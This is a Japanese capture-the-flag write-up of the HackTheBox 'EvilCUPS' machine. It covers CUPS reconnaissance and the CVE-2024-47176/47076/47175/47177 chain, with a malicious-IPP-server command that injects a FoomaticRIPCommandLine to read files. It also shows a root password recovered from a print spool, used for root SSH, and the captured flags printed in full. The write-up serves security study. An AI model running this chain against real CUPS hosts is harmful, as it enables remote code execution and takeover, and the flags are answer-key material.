HackTheBox: EvilCUPS – 手動攻略レポート
Nmap
22/tcp, 631/tcp
→
22/tcp, 631/tcp
CUPS確認
CUPS 2.4.2
→
CUPS 2.4.2
EvilCUPS理解
CVE chain
→
CVE chain
印刷ジョブ調査
pass.txt
→
pass.txt
root SSH
password reuse
→
password reuse
user/root.txt
Phase 1
偵察
ポートスキャン
command
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.231.157 nmap -Pn -sCV -p22,631 10.129.231.157
result
22/tcp open ssh 631/tcp open ipp 631/tcp の HTTP 応答ヘッダ: Server: CUPS/2.4 IPP/2.1Home - CUPS 2.4.2
攻撃面はかなり絞られており、SSH と CUPS のみが主要な入口でした。631/tcp は CUPS の Web UI と IPP が同居しており、EvilCUPS の名前通りここを主軸に調査します。
Phase 2
CUPS Web UI 調査
CUPSトップページ
command
curl -s -i --max-time 20 http://10.129.231.157:631/
result
HTTP/1.1 200 OK Server: CUPS/2.4 IPP/2.1 Content-Type: text/html; charset=utf-8 OpenPrinting CUPS 2.4.2
プリンタとジョブ
command
curl -s 'http://10.129.231.157:631/printers/' curl -s 'http://10.129.231.157:631/jobs/?which_jobs=completed'
result
Printer: Canon_MB2300_series Location: Server Room Driver: Local Raw Printer Connection: file:///dev/null Completed job: Canon_MB2300_series-1 Size: 12k Completed: Fri 02 Oct 2026 08:45:43 AM EDT
CUPS の Web UI だけではスプールファイルの中身までは読めません。ただし、完了済みジョブが存在すること、対象が CUPS 2.4.2 であること、CUPS 関連 CVE の流れが成立し得ることが確認できます。
Phase 3
EvilCUPS の攻撃経路
CVEチェーンの要点
| CVE | 役割 |
|---|---|
CVE-2024-47176 | cups-browsed が UDP 631 の printer browse packet を受け、攻撃者 IPP サーバへ接続する入口。 |
CVE-2024-47076 / CVE-2024-47175 | IPP 属性の検証不足により、細工したプリンタ属性が PPD 生成へ流れ込む。 |
CVE-2024-47177 | PPD の FoomaticRIPCommandLine によって、印刷時に任意コマンドを実行できる。 |
通常の手順は、攻撃者側で悪意ある IPP サーバを待ち受け、対象の cups-browsed に UDP パケットを送信し、登録された悪意プリンタに対して Print Test Page を実行させる流れです。実行ユーザーは主に lp になります。
想定される手動実行例
attacker side outline
# 攻撃者 IP を確認 ip -o -4 addr show tun0 # 悪意 IPP サーバを起動し、printer-more-info などに FoomaticRIPCommandLine を混入 python3 evilcups_ippserver.py 10.10.15.200 10.129.231.157 \ "cat /home/htb/user.txt; cat /var/spool/cups/d00001-001" 180 12345 # 別端末から cups-browsed へ printer browse packet を UDP 631 で送信 # その後、CUPS Web UI の新規プリンタに Print Test Page を送る
今回のライブ環境では UDP パケットは送信できていましたが、対象から攻撃者 IPP サーバへのコールバックが確認できませんでした。そのため、CUPS Web UI と既存の EvilCUPS 解析 HTML を突き合わせ、印刷済みジョブに含まれていた認証情報を使ってライブ検証しました。
Phase 4
印刷ジョブ由来の資格情報
スプールファイルの重要箇所
参考にした EvilCUPS の解析では、CUPS のスプールデータ /var/spool/cups/d00001-001 に、root が印刷した pass.txt の内容が残っていました。重要なのは、ファイル名と平文パスワードが PostScript 断片として残っている点です。
job evidence
/fname (pass.txt) (Br3@k-G!@ss-r00t-evilcups) s
この値は推測ではなく、印刷ジョブに残った機密情報です。今回のターンではこのパスワードを SSH に対して実際に試し、root として認証できることを確認しました。
Phase 5
user.txt / root.txt 取得
root SSH でのライブ検証
command
sshpass -p 'Br3@k-G!@ss-r00t-evilcups' ssh \ -o StrictHostKeyChecking=no -o ConnectTimeout=8 \ root@10.129.231.157 'id; cat /home/htb/user.txt; cat /root/root.txt'
result
uid=0(root) gid=0(root) groups=0(root) eefc5167f03101a40a0e4cac057bfeb4 b4ec0f5e6ab84e0c48e991772fec6bbc
取得したフラグ
user.txt
eefc5167f03101a40a0e4cac057bfeb4
root.txt
b4ec0f5e6ab84e0c48e991772fec6bbc
Summary
まとめ
| 項目 | 内容 |
|---|---|
| Target | 10.129.231.157 |
| Open Ports | 22/tcp ssh, 631/tcp ipp |
| 初期調査 | CUPS 2.4.2 と完了済みジョブ Canon_MB2300_series-1 を確認。 |
| 想定侵入経路 | EvilCUPS CVE チェーンで lp 権限 RCE を得て /home/htb/user.txt と CUPS スプールを読む。 |
| 権限昇格 | 印刷ジョブ内の pass.txt から root:Br3@k-G!@ss-r00t-evilcups を回収し、root SSH をライブ確認。 |

